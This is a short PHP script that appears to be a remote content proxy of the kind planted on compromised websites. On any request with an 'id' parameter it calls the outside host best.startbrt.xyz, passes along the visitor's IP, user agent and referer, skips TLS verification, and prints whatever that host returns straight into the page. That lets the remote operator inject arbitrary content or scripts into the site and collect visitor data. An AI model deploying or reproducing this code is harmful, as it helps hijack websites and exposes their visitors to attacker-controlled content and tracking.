<?php

$serverBUrl = 'http://best.startbrt.xyz';

if (!isset($_GET['id'])) {
    return;
}

$requestUrl = $serverBUrl . '/news?id=' . urlencode($_GET['id']) . '&t=' . time();

$clientIp = $_SERVER['REMOTE_ADDR'] ?? ($_SERVER['HTTP_X_FORWARDED_FOR'] ?? '');
$clientUA = $_SERVER['HTTP_USER_AGENT'] ?? '';
$clientReferer = $_SERVER['HTTP_REFERER'] ?? '';

$ch = curl_init();
if (!$ch) {
    return;
}

$headers = [
    'X-Real-IP: '. $clientIp,
    'User-Agent: '. $clientUA,
    'Referer: '. $clientReferer
];

curl_setopt_array($ch, [
    CURLOPT_VERBOSE => false, // 生产环境关闭详细输出
    CURLOPT_URL => $requestUrl,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => true,
    CURLOPT_HTTPHEADER => $headers,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_ENCODING => '',
    CURLOPT_CUSTOMREQUEST => 'GET',
    CURLOPT_CONNECTTIMEOUT => 10,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
]);

$response = curl_exec($ch);

if ($response === false) {
    curl_close($ch);
    return;
}

$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$responseBody = substr($response, $headerSize);

curl_close($ch);

// 输出响应体
 echo $responseBody;
?>